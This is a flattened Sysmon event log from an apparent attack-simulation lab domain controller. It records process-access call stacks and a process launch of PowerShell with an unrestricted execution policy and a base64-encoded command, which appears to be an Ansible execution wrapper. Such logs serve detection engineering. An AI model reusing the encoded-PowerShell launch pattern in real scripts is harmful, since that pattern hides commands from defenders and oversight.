09:08:38.736{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F502-000000007E01}4552C:\Windows\system32\wbem\unsecapp.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000008Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.739{A5F018FF-2896-5F80-F502-000000007E01}4552C:\Windows\System32\wbem\unsecapp.exe10.0.14393.2515 (rs1_release_1.180830-1044)Sink to receive asynchronous callbacks for WMI client applicationMicrosoft® Windows® Operating SystemMicrosoft Corporationunsecapp.dllC:\Windows\system32\wbem\unsecapp.exe -EmbeddingC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-272B-5F80-E703-000000000000}0x3e70SystemMD5=2E49BB6C9F6599F518FE30BE2F000247,SHA256=20F499D581CF4AF331D8EC8B1E07A32CC1A695EF6790B51DA5EE223C5867154F,IMPHASH=A3CC49DF67C2278F822C9EBB9908BF09{A5F018FF-272D-5F80-0C00-000000007E01}572C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000007Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.721{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.721{A5F018FF-272B-5F80-0A00-000000007E01}8521284C:\Windows\system32\services.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.705{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.705{A5F018FF-272B-5F80-0A00-000000007E01}8521296C:\Windows\system32\services.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+12bee|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.694{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe12.0System activity monitorSysinternals SysmonSysinternals - www.sysinternals.com-C:\Windows\sysmon64.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-272B-5F80-E703-000000000000}0x3e70SystemMD5=0475D48604B7C8E7D9DD7605B6A5930F,SHA256=55BAD23D049A2FD801B8DECDC5D960D4E27D7F92541E8B37557B7495CA5561A2,IMPHASH=49AAA307415968B34D3FD1A72DEE6C71{A5F018FF-272B-5F80-0A00-000000007E01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 434400x80000000000000002Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local2020-10-09 09:08:38.768Started12.04.40 16341600x80000000000000001Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local2020-10-09 09:08:38.674c:\Program Files\ansible\AttackRangeSysmon.xmlSHA1=662E68DD6B3360E156BDE1F54FD3ED5BB76E8AFC 10341000x800000000000000085Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000084Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000083Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000082Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000081Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x800000000000000080Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-2897-5F80-F802-000000007E01}42284924C:\Windows\system32\cmd.exe{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x800000000000000079Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.989{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2897-5F80-B059-110000000000}0x1159b00HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2897-5F80-F802-000000007E01}4228C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x800000000000000078Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000077Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000076Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000075Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-2897-5F80-F702-000000007E01}41282984C:\Windows\system32\conhost.exe{A5F018FF-2897-5F80-F802-000000007E01}4228C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000074Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 